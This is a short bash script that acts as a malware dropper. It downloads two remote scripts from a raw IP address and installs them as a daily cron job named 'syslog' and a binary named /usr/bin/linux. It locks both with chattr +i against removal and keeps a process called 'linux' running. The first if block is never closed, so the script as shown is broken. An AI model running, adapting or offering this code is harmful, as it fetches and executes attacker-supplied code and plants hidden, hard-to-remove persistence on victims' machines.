#!/bin/bash

if [[ ! -f /etc/cron.daily/syslog ]]; then
	wget -O /etc/cron.daily/syslog  http://181.223.9.36:9000/connect32.sh > /dev/null 2>&1
	chmod +x /etc/cron.daily/syslog
	chattr +i /etc/cron.daily/syslog

if [[ ! -f /usr/bin/linux ]]; then
	wget -O /usr/bin/linux http://181.223.9.36:9000/system32.sh > /dev/null 2>&1
	chmod +x /usr/bin/linux
	chattr +i /usr/bin/linux
fi
var=`ps -C linux | grep -v PID | wc -l`
[[ $var -eq 0 ]] && /usr/bin/linux > /dev/null 2>&1 &
[[ $var -gt 1 ]] && killall linux > /dev/null 2>&1 
exit 0
